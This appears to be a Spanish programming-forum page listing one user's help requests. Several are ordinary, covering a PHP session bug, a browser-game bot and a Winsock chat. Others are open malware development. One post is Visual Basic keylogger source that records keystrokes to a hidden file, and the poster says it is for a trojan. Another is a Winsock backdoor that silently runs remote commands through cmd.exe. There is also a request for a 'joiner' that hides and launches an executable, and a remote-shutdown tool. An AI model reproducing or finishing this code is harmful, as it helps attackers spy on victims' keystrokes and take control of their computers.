Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - mastercss

#1
MI problema es el siguiente. No he cambiado absolutamente ningun trozo de de codigo de mi web, pero sin saber porque, la sesion o mejor dicho las variables de sesion no se guardan entre paginas.

Estoy desesperado la verdad.

Todo empieza con el archivo de login, que comprueba con la base de datos el usuario y la contraseña y en el caso de que sea correcto entonces crea cuatro variables de sesion, con los datos de ese usuario y redirige a profesionales.php. En profesionales compruebo la existencia de la variable de sesion usuario y si existe imprimo el codigo html y sino redirijo de nuevo a login.php.

Os pongo los codigos.

Login.php

Código (php) [Seleccionar]
<?php
session_start
();

if(isset(
$_SESSION['user'])){
header("Location: profesionales.php");
}

if(
$_POST){
extract($_POST);
include_once("includes/class.sql.php");
include_once("includes/config.inc.php");
include_once("includes/funciones.php");

$user=limpiar($user);
$password=sha1($pass);

$sql=new sql($ip$usuario$pass$db);

$respuesta=$sql->consultar("select * from usuarios where usuario='$user';");

if(!empty($respuesta)){
if($user==$respuesta[0]['usuario'] && $password==$respuesta[0]['password']){
$_SESSION['id']=$respuesta[0]['id'];
$_SESSION['user']=$user;
$_SESSION['pass']=$password;
$_SESSION['auth_level']=$respuesta[0]['lvl_auth'];
                        
// Si aqui imprimo las variables de session recien creadas se muestran correctamente.
echo "<script>location.href='profesionales.php'</script>";
}else{
echo "<script>alert('El usuario introducido o la contrase\u00f1a no son correctos');</script>";
echo "<script>location.href='index.php?p=login'</script>";
}
}else{
echo "<script>alert('El usuario introducido o la contrase\u00f1a no son correctos');</script>";
echo "<script>location.href='index.php?p=login'</script>";
}


}else{
?>

<br />
<div id="acceso">
<form method="post" action="login.php">
Usuario<br />
<input type="text" name="user" /><br />
Password<br />
<input type="password" name="pass" /><br /><br />
<p align="center"><input type="submit" value="Entrar" class="button"></p>
</form>
</div>

<?php
}
?>


profesionales.php

Código (php) [Seleccionar]
<?php

session_start(); //En la primera linea declaro el session_start()

include_once("includes/config.inc.php");
include_once("includes/class.sql.php");
include_once("includes/funciones.php");

$sql=new sql($ip$usuario$pass$db);

$respuesta=$sql->consultar("SELECT * FROM presupuestos_usuarios");

$sql->cerrar();

unset($sql);

if(!isset($_SESSION['user'])){
header("Location: login.php"); //Aqui al no detectar la sesion me redirige al login de nuevo.
}else{
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es-es" lang="es-es">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="content-language" content="es_ES" />
<meta charset="utf-8" /> <!-- Tipo de Codificación -->
<title>Reformas y presupuestos</title>
<style type="text/css">
@import "css/profesionales.css";
</style>
</head>
<body>
<script src="js/jquery-1.8.3.js" type="text/javascript"></script>
<script src="js/jquery.validate.js" type="text/javascript"></script>
<script src="js/jquery.imagecube.js" type="text/javascript"></script>
<script src="js/resizeLib.js" type="text/javascript" ></script>
<script src="js/ajax.js" type="text/javascript" ></script>
<script src="ckeditor/ckeditor.js" type="text/javascript" ></script>
<script type="text/javascript" src="tiny_mce/tiny_mce.js"></script>
<script>

jQuery(document).ready(function(){
$(".filtro").bind('keypress', function(e) {
if(e.keyCode==13){
var n_parametros=0;
var filtro="";
if($("#comunidad").val() !=""){
n_parametros++;
if(n_parametros > 1){
filtro +="&"+$("#comunidad")[0].id+"="+$("#comunidad")[0].value;
}else{
filtro +=$("#comunidad")[0].id+"="+$("#comunidad")[0].value;
}
}

if($("#localidad").val() !=""){
n_parametros++;
if(n_parametros > 1){
filtro +="&"+$("#localidad")[0].id+"="+$("#localidad")[0].value;
}else{
filtro +=$("#localidad")[0].id+"="+$("#localidad")[0].value;
}
}

if($("#categoria").val() !=""){
n_parametros++;
if(n_parametros > 1){
filtro +="&"+$("#categoria")[0].id+"="+$("#categoria")[0].value;
}else{
filtro +=$("#categoria")[0].id+"="+$("#categoria")[0].value;
}
}


var respuesta = ajax("presupuestos_usuarios.php?"+filtro, "","GET");
$("#principal").html(respuesta);
}
});

var respuesta_inicial=ajax("presupuestos_usuarios.php","","GET");
$("#principal").html(respuesta_inicial);
});

function ver(id_pre){
var respuesta=ajax("ver_presupuesto.php?id="+id_pre,"","GET");
$("#cuerpo").html(respuesta);
}

function enviar(id_pre){
var respuesta=ajax("dar_presupuesto.php?","id="+id_pre,"POST");
$("#cuerpo").html(respuesta);
}

</script>
<div id="menu">
<div id="logo">
<a href="http://127.0.0.1/orocar/"><img src="images/logo.png" style="width: 100%; height: 100%" /></a>
</div>
<div id="menu-principal">
<ul>
<li type="disc" id="logout"><a href="index.php?p=logout">Cerrar Sesion</a></li>
<li type="disc" id="presupuestos"><a href="profesionales.php">Presupuestos de Usuarios</a></li>
<li type="disc" id="perfil"><a href="index.php?p=inicio">Inicio</a></li>
</ul>
</div>
<div class="limpiar"></div>
</div>
<div id="cabecera">
<div id="cabecera-content">
<h1 id="titulo_pagina">Presupuestos recibidos</h1>
</div>
</div>
<div id="cuerpo">
<h2>Presupuestos solicitados por los usuarios</h2><br />
<div style="width: 33.3%; float: left;">
<label>Comunidad Autonoma</label><br /><br />
<input type="text" style="width: 50%; height: 4%; font-size: 14px;" class="filtro" id="comunidad">
</div>
<div style="width: 33.3%; float: left; ">
<label>Categoria</label><br /><br />
<input type="text" style="width: 50%; height: 4%; font-size: 14px;" class="filtro" id="categoria">
</div>
<div style="width: 33.3%; float: left; ">
<label>Localidad</label><br /><br />
<input type="text" style="width: 50%; height: 4%; font-size: 14px;" class="filtro" id="localidad">
</div>
<div class="limpiar"></div>
<div id="principal">

</div>
</div>
<div id="pie">

</div>
</body>
</html>

<?php
}
?>
#2
Quizas en el titulo no este muy bien definidad mi duda, asi que me dispodnre a aclararla. Mi idea, es conseguir los bytes que componen dos archivos ( una imagen y un ejecutable por ejemplo). Guardar esos bytes en dos variables diferentes, convertir esos bytes en programas y despues ejecutarlos. Todo ello desde vba claro esta. ¿Como podria sacar los bytes en hexadecimal de dos programas que yo elija y que un tercero, con esos bytes, los genere en disco, los ejecute y como no los copie a diferentes directorios del sistema?

Puede sonar complicado pero quiero ahcer algo parecido a esto...dejo el link del blog que por cierto seguro que alguno conoceis y sino, no tiene perdida, es la leche.

http://www.flu-project.com/ocultando-un-ejecutable-creando-nuestro-%E2%80%9Cjoiner%E2%80%9D-casero.html

De momento he hecho un trocito de codigo sencillo, lo dejo para que veais lo que quiero hacer.

Código (vb) [Seleccionar]
Private Sub Command1_Click()
    With pp
        .DialogTitle = "Elige el primer archivo"
        .Filter = "Ejecutables|*.exe"
        .ShowOpen
    End With
arcUno.Text = pp.FileName
End Sub

Private Sub Command2_Click()
    With pp
        .DialogTitle = "Elige el segundo archivo"
        .Filter = "Todo tipo de archivos|*"
        .ShowOpen
    End With
arcDos.Text = pp.FileName
End Sub

Private Sub Command3_Click()
Dim Data() As Byte
Dim DataLon As Long
Open arcUno For Binary Lock Read As 1
Open arcDos For Binary Lock Read As 2
Open byteRes For Binary Access Write As 3
DataLon = FileLen(arcUno) + Len(arcDos)
ReDim Data(DataLon) As Byte
Get #1, , Data
Get #2, , Data
Put #3, , Hex(Data(DataLon))
Close
End Sub
#3
Desarrollo Web / Ayuda con GreaseMonkey
1 Julio 2011, 16:33 PM
Supongo que todos conoceis este complemento para firefox que permite cargar un script sobre una pagina web ya creada.

Bien mi problema es que cuando un script falla, soy incapaz de saber donde ha falaldo y porque asi que me veo recorriendo el codigo y perdiendo un mnton de tiempo en ello.

Mi pregunta es saber si alguien conoce algun programa que muestre a poder ser el error en el script y la linea del error me facilitaria el trabajo enormemente.

Saludos
#4
Bueno en primer lugar antes de que nadie diga nada. El codigo no es copiado, me base mucho en un code que vi, pero hay bastantes cosillas cambiadas. Desconozco el autor del code original pero en principio los comentarios estaban en ingles.

El keylogger funciona casi perfectamente pero cuando le doy a espacio el cursor tabula hacia el principio del textbox. Es decir, en vez de escribir "ola me llamo alberto" escribe "alberto llamo me ola     ". En cuanto le doy a espacio genera el espacio pero retorna hacia atras. No se que sera. Lo estoy haciendo para un troyano, cuando lo termine si me animo libero el codigo a la comunidad. Para hacer las pruebas he creado un programa simple, cuando este funcional lo introducco en el troyano.

En el form:
Código (vb) [Seleccionar]
Private Sub Command1_Click()
Timer1.Enabled = True
Timer2.Enabled = True
Command1.Enabled = False
Command2.Enabled = True
End Sub

Private Sub Command2_Click()
Timer1.Enabled = False
Timer2.Enabled = False
Command2.Enabled = False
Command1.Enabled = True
End Sub

Private Sub Form_Load()
Command2.Enabled = False
Timer1.Enabled = False
caracter(33) = "[Pag Arriba]"
caracter(34) = "[Pag Abajo]"
caracter(35) = "[Fin]"
caracter(36) = "[Inicio]"
caracter(45) = "[Insertar]"
caracter(46) = "[Supr]"
caracter(48) = "="
caracter(49) = "!"
caracter(50) = "@"
caracter(51) = "#"
caracter(52) = "$"
caracter(53) = "%"
caracter(54) = "&"
caracter(55) = "/"
caracter(56) = "("
caracter(57) = ")"
caracter(186) = "`"
caracter(187) = "+"
caracter(188) = ","
caracter(189) = "-"
caracter(190) = "."
caracter(191) = "}"
caracter(219) = "{" '
caracter(220) = "\"
caracter(221) = "¡"
caracter(222) = "{"
caracter(86) = "^"
caracter(87) = "*"
caracter(88) = ";"
caracter(89) = "_"
caracter(90) = ":"
caracter(91) = "?"
caracter(119) = "?"
caracter(120) = "|"
caracter(121) = "¿"
caracter(122) = """"
caracter(96) = "0"
caracter(97) = "1"
caracter(98) = "2"
caracter(99) = "3"
caracter(100) = "4"
caracter(101) = "5"
caracter(102) = "6"
caracter(103) = "7"
caracter(104) = "8"
caracter(105) = "9"
caracter(106) = "*"
caracter(107) = "+"
caracter(109) = "-"
caracter(110) = "."
caracter(111) = "/"
caracter(192) = "ñ"
caracter(92) = "Ñ"
End Sub

Private Sub Timer1_Timer()
Dim teclas As Long
For teclas = 65 To 90
   If GetAsyncKeyState(teclas) = -32767 Then
       If GetAsyncKeyState(VK_SHIFT) < 0 Then
           If GetKeyState(VK_CAPITAL) > 0 Then
               Text1.Text = Text1.Text & LCase(caracter(teclas))
               Exit Sub
           Else
               Text1.Text = Text1.Text & UCase(caracter(teclas))
               Exit Sub
           End If
       Else
           If GetKeyState(VK_CAPITAL) > 0 Then
               Text1.Text = Text1.Text & UCase(caracter(teclas))
               Exit Sub
           Else
               Text1.Text = Text1.Text & LCase(caracter(teclas))
               Exit Sub
           End If
       End If
   End If
Next
For teclas = 48 To 57
   If GetAsyncKeyState(teclas) = -32767 Then
       If GetAsyncKeyState(VK_SHIFT) < 0 Then
           Text1.Text = Text1.Text & caracter(teclas)
           Exit Sub
       Else
           Text1.Text = Text1.Text & caracter(teclas)
           Exit Sub
       End If
   End If
Next
For teclas = 186 To 192
   If GetAsyncKeyState(teclas) = -32767 Then
       If GetAsyncKeyState(VK_SHIFT) < 0 Then
           Text1.Text = Text1.Text & caracter(teclas - 100)
           Exit Sub
       Else
           Text1.Text = Text1.Text & caracter(teclas)
           Exit Sub
       End If
   End If
Next
For teclas = 219 To 222
   If GetAsyncKeyState(teclas) = -32767 Then
       If GetAsyncKeyState(VK_SHIFT) < 0 Then
           Text1.Text = Text1.Text & caracter(teclas - 100)
           Exit Sub
       Else
           Text1.Text = Text1.Text & caracter(teclas)
           Exit Sub
       End If
   End If
Next
For teclas = 96 To 111
   If GetAsyncKeyState(teclas) = -32767 Then
       If GetAsyncKeyState(VK_ALT) < 0 Then
           Text1.Text = Text1.Text & caracter(teclas)
           Exit Sub
       Else
           Text1.Text = Text1.Text & "[Alt]"
           Exit Sub
       End If
   End If
Next
If GetAsyncKeyState(32) = -32767 Then
   Text1.Text = Text1.Text & " "
End If
If GetAsyncKeyState(13) = -32767 Then
   Text1.Text = Text1.Text & "Enter>" & vbCrLf
End If
If GetAsyncKeyState(8) = -32767 Then
   If (Right(Text1.Text, 1)) = " " Then GoTo nod
      tip = Len(Text1.Text) - 1
      Text1.Text = Left(Text1.Text, tip)
nod:
   End If

If GetAsyncKeyState(37) = -32767 Then
   Text1.Text = Text1.Text & "[Izquierda]"
End If

If GetAsyncKeyState(38) = -32767 Then
   Text1.Text = Text1.Text & "[Arriva]"
End If

If GetAsyncKeyState(39) = -32767 Then
   Text1.Text = Text1.Text & "[Derecha]"
End If

If GetAsyncKeyState(40) = -32767 Then
   Text1.Text = Text1.Text & "[Abajo]"
End If

If GetAsyncKeyState(9) = -32767 Then
   Text1.Text = Text1.Text & "[Tab]"
End If

If GetAsyncKeyState(27) = -32767 Then
   Text1.Text = Text1.Text & "[Escape]"
End If

For teclas = 45 To 46
   If GetAsyncKeyState(teclas) = -32767 Then
       Text1.Text = Text1.Text & caracter(letras)
   End If
Next
End Sub

Private Sub Timer2_Timer()
GuardaLog
End Sub


En el módulo:
Código (vb) [Seleccionar]
Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Public caracter(255) As String
Public Const VK_SHIFT = &H10
Public Const VK_CTRL = &H11
Public Const VK_ALT = &H12
Public Const VK_CAPITAL = &H14
Public AltDown As Boolean

Function GuardaLog()
Dim ar As String
Open Environ("windir") & "\keylog.txt" For Output As #1
Print #1, Form1.Text1.Text
Close #1
End Function

Function LeeLog(archivo As String) As String
Dim lee As String
Open archivo For Input As #1
   lee = Input(LOF(1), 1)
Close #1
LeeLog = lee
End Function


El espacio es el código ascii 32 pero ahi no veo ningun problema.

Salu2 y gracias por adelantado.
#5
Estoy programando con webrowser una aplicación que automatice la construcción de unidades en un juego de navegador del estilo ogame.
El error salta en timepo de ejecución:


Error 91 en tiempo de ejecución:
Variable de tipo Object o la variable de tipo With no esta establecida.


La linea que señala el depurador es esta:

var_value.Value = Val(Text3.Text)


Código (vb) [Seleccionar]
Option Explicit
'FIXIT: Declare 'doc' con un tipo de datos de enlace en tiempo de compilación              FixIT90210ae-R1672-R1B8ZE
Dim doc As Object
'FIXIT: Declare 'var_input' con un tipo de datos de enlace en tiempo de compilación        FixIT90210ae-R1672-R1B8ZE
Dim var_input As Object
'FIXIT: Declare 'var_value' con un tipo de datos de enlace en tiempo de compilación        FixIT90210ae-R1672-R1B8ZE
Dim var_value As Object
'FIXIT: Declare 'var_but' con un tipo de datos de enlace en tiempo de compilación          FixIT90210ae-R1672-R1B8ZE
Dim var_but As Object
'FIXIT: Declare 'hangar' con un tipo de datos de enlace en tiempo de compilación           FixIT90210ae-R1672-R1B8ZE
Dim hangar As Object
Dim naves As String
Private Sub Command1_Click()
Set doc = WebBrowser1.Document
Set var_input = doc.getelementbyid("username")
var_input.Value = Text1.Text
Set var_input = doc.getelementbyid("password")
var_input.Value = Text2.Text
Set var_but = doc.getelementbyid("submit")
var_but.Click
End Sub

Private Sub Command2_Click()
Dim bucle As Long
Dim cantidad As String
For bucle = 1 To Val(Text4.Text)
WebBrowser1.Navigate "http://uni3.zagamex.com.ar/game.php?page=buildings&mode=fleet"
Set hangar = WebBrowser1.Document
Set var_value = hangar.getelementbyid(Label20.Caption)
var_value.Value = Val(Text3.Text)
Set var_but = hangar.getelementbytagname("INPUT")
'FIXIT: Declare 'result' con un tipo de datos de enlace en tiempo de compilación           FixIT90210ae-R1672-R1B8ZE
Dim result
For Each result In hangar.getelementbytagname("INPUT")
   If result.Value = "Construir" Then var_but.Click
Next
Next
End Sub

Private Sub Form_Load()
Text1.Text = ""
Text2.Text = ""
Text3.Text = ""
Text4.Text = ""
WebBrowser1.Navigate "http://uni3.zagamex.com.ar"
End Sub
Private Sub Option1_Click()
If Option1.Value = True Then Label20.Caption = "fmenge[202]"
End Sub
Private Sub Option2_Click()
If Option2.Value = True Then Label20.Caption = "fmenge[203]"
End Sub
Private Sub Option3_Click()
If Option3.Value = True Then Label20.Caption = "fmenge[204]"
End Sub
Private Sub Option4_Click()
If Option4.Value = True Then Label20.Caption = "fmenge[205]"
End Sub
Private Sub Option5_Click()
If Option5.Value = True Then Label20.Caption = "fmenge[206]"
End Sub
Private Sub Option6_Click()
If Option6.Value = True Then Label20.Caption = "fmenge[207]"
End Sub
Private Sub Option7_Click()
If Option7.Value = True Then Label20.Caption = "fmenge[208]"
End Sub
Private Sub Option8_Click()
If Option8.Value = True Then Label20.Caption = "fmenge[209]"
End Sub
Private Sub Option9_Click()
If Option9.Value = True Then Label20.Caption = "fmenge[210]"
End Sub
Private Sub Option10_Click()
If Option10.Value = True Then Label20.Caption = "fmenge[211]"
End Sub
Private Sub Option11_Click()
If Option11.Value = True Then Label20.Caption = "fmenge[212]"
End Sub
Private Sub Option12_Click()
If Option12.Value = True Then Label20.Caption = "fmenge[213]"
End Sub
Private Sub Option13_Click()
If Option13.Value = True Then Label20.Caption = "fmenge[214]"
End Sub
Private Sub Option14_Click()
If Option14.Value = True Then Label20.Caption = "fmenge[215]"
End Sub
Private Sub Option15_Click()
If Option15.Value = True Then Label20.Caption = "fmenge[216]"
End Sub



HE leido sobre el error pero no termino de entender el motivo, si me lo pudieran explicar muy simple como para tontos lo agradeceria.

Gracias de antemano y Salu2
#6
Resulta que estoy realizando un programa que haga macros web. NEcesito cargar distintos formularios que son activados por botones, pero mi problema es el siguiente:

Código (vb) [Seleccionar]
Private Sub Command1_click()
Load Form2
Form2.Show




No lo carga me tira este error:

Error 404 en tiempo de ejecucion se requiere un objeto.

HE buscado el error pero no tiene sentido, los form no hay que declararlos asi que estoy perdido. Muchas gracias de antemano.


Salu2
#7
Bie me dispuse ha hacer una shell remota con el comando shell "cmd.exe /c .....". Estoy desesperado no entiendo el motivo del fallo del codigo. El caso es como si el server no recibiera el comando. Lo posteo para que lo vean:


SERVIDOR:


Código (vb) [Seleccionar]
Private Sub Form_Load()
Text1.Text = ""
Text2.Text = ""
Winsock1.Protocol = sckTCPProtocol
Winsock1.LocalPort = 3000
Winsock1.Listen
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim comando As String
Dim a As Integer
Winsock1.GetData comando
Text1.Text = comando
Shell ("%windir%/system32/cmd.exe /c " & Text1.Text & ">%windir%/shell.txt"), vbHide

End Sub


De moemtno solo busco que funcione no que me devuelva la respuesta.

CLIENTE:

Código (vb) [Seleccionar]
Private Sub Command1_Click()
Winsock1.Close
Winsock1.RemotePort = 3000
Winsock1.RemoteHost = Text1.Text
Winsock1.Connect
End Sub

Private Sub Command2_Click()
Dim comando As String
Text4.Text = comando
Winsock1.SendData comando
Text4.Text = ""
End Sub

Private Sub Form_Load()
Text1.Text = ""
Text2.Text = ""
Text4.Text = ""
Label3.Caption = "Desconectado"
Winsock1.Protocol = sckTCPProtocol
End Sub

Private Sub Text2_Change()

End Sub

Private Sub Text4_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then Command2_Click
End Sub

Private Sub Winsock1_Close()
Label3.Caption = "Desconectado"
Text2.Text = Text2.Text & vbCrLf & "Se ha perdido la conexión con el host remoto"
End Sub

Private Sub Winsock1_Connect()
Label3.Caption = "Conectado"
Text2.Text = "Conectado con exito a " & Winsock1.RemoteHostIP
End Sub


Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Winsock1.GetData datos
Text3.Text = Text3.Text & vbCrLf & datos
End Sub



Gracias por adelantado. Espero sus respuestas. Salu2
#8
VEran esta libreria me seria muy util para poder establecer sesiones http por medio de programas hechos en basic. He visto todas las apis de este post http://foro.elhacker.net/programacion_visual_basic/declaraciones_de_wininet-t85007.0.html

Sinceramente no me solucionan nada y no me mal interpreten se agradece la ayuda. El caso es que necesitaria algun tipo de tutorial sobre esta libreria. He visto algo sobre wininet para conseguir el codigo fuente de una web y cosas por el estilo pero necesitaria algo mas de información. Muchas gracias



Salu2
#9
Programación Visual Basic / Ayuda con codigo
27 Enero 2010, 01:39 AM
En primer lugar, no sabia si debia crear un post nuevo o volver a postear en el que pedi ayuda con el chat. Agradeceria al admin que me lo aclarara para asi no estorbar. Este codigo lo que quiero que haga es apagar un ordenador de forma remota. He visto que la API ExitWindowsEx se utiliza con una sintaxis especial. Posteo el codigo y comento mejor:

Cliente:

Código (vb) [Seleccionar]
Option Explicit
Private Sub Command1_Click()
Winsock1.RemotePort = 9000
Winsock1.RemoteHost = Text1.Text
Winsock1.Connect
End Sub

Private Sub Command2_Click()
Dim apagar As Long
apagar = 1
Winsock1.SendData apagar
End Sub


Private Sub Command3_Click()
Dim reiniciar As Long
reiniciar = 2
Winsock1.SendData reiniciar
End Sub


Aqui lo que hago es asiganrle el valor 1 a apagar y a reiniciar 2. Por qué? Porque asi con una instruccion condicional en el servidor podre establecer lo que quiero que haga (corrijanme si esto no se puede hacer).

Servidor:
Código (vb) [Seleccionar]

Option Explicit
Const EWX_LOGOFF = 0
Const EWX_SHUTDOWN = 1
Const EWX_REBOOT = 2
Const EWX_FORCE = 4
Private Declare Function ExitWindowsEx& Lib "user32" (ByVal uFlags&, ByVal dwReserved&)

Private Sub Form_Load()
Winsock1.LocalPort = 9000
Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As Long
Winsock1.GetData datos
If datos = 1 Then datos = ExitWindowsEx(1, 0&)
If datos = 2 Then datos = ExitWindowsEx(2, 0&)
End Sub


EL servidor es sencillo, establezco el puerto de escucha acepto la conexion y recibo los datos. La duda viene a continuación. En el evento DataArrival recibo los datos y les asigno como variable datos, luego estblezco una condición para que dependiendo del valor de la cadena de datos que entre reinicie o apague.
PEro señores el codigo no funciona, compila bien y todo eso pero cunado aprito en apagar x ejemplo no se apaga. No salta ningun error ni nada pero no funciona. Espero me puedan decir cual es el error en el code. Grcias de nuevo.
#10
Estoy aprendiendo visual basic despues de solo haber tocado programación estructurada y me hago un poko un lio. Me he aventurado a crear un chat cutre cliente servidor con basic xd. El problema es que cuando le doy a conectar en el cliente me dice Error 10048 en tiempo de ejecucion, dirección en uso. Aclaro que ejcuto tanto servidor como cliente en mi ordenador y para conectar utilizo mi ip local. LEs posteo los codes.

Cliente:

Código (vb) [Seleccionar]
Private Sub Command1_Click()
Winsock1.RemoteHost = Text3.Text
Winsock1.Connect
End Sub

Private Sub Command2_Click()
Dim enviar As String
enviar = Text2.Text
Winsock1.SendData enviar
End Sub

Private Sub Form_Load()

End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Winsock1.GetData datos
Text1.Text = Text1.Text + datos
End Sub


Servidor:

Código (vb) [Seleccionar]
Private Sub Command1_Click()
Winsock1.Listen
End Sub

Private Sub Command2_Click()
Dim enviar As String
enviar = Text2.Text
Winsock1.SendData enviar
End Sub


Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Winsock1.GetData datos
Text1.Text = Text1.Text + datos
End Sub


Aclaro que el puerto utilizado es el 888. Esta establecido en el interfaz gráfico de VBA al igual que tambien lo esta el tipo de conexión (TCP/IP).


Salu2 y gracias de antemano.

#11
Las Api´s ese gran desconocido. asi las tendrian que titular porque cunto mas leo sobre ellas menos entiendo sobre su estructura es como si para declararlas hubieran puesto a un mono o algo por el estilo. Si se que hay mucha info en el foro pero señores me kedo igual que kuando empezo. Porque?? (critica constructiva) los codes vienen comentados eso es algo muy positivo y didactico, pero en algo falla, hay funciones que los nuevos en esto ni entendemos no sabemos de donde salen. Por ejemplo para que entiendan lo que digo.
Código (vb) [Seleccionar]

'Api para incluir en un modulo
Declare Function mciSendString Lib "winmm.dll" Alias _
"mciSendStringA" (ByVal lpstrCommand As String, ByVal _
lpstrReturnString As String, ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long

'crear dos botones en un formulario
Private Sub Command1_Click()
'Se abrirá el CD
retvalue = mciSendString("set Cdaudio door open", returnstring, 127, 0)
End Sub

Private Sub Command2_Click()
'Se cerrará el CD
retvalue = mciSendString("set Cdaudio door closed", returnstring, 127, 0)
End Sub


En Sub Command1_click(). Como se yo al utilizar una api (teniendo en cuenta que puede que nunca la haya utilizado) que si pongo "set Caudio door open" se va a abrir la pletina. Otra cosa en la misma linea porque al final asigna dos valores??? 127 y 0 que es lo que hacen????
Es a eso a lo que me refiero cunado veo una api. Os admiro de verdad por poder a llegar a entender esas estructuras pero no me entero de nada.


Salu2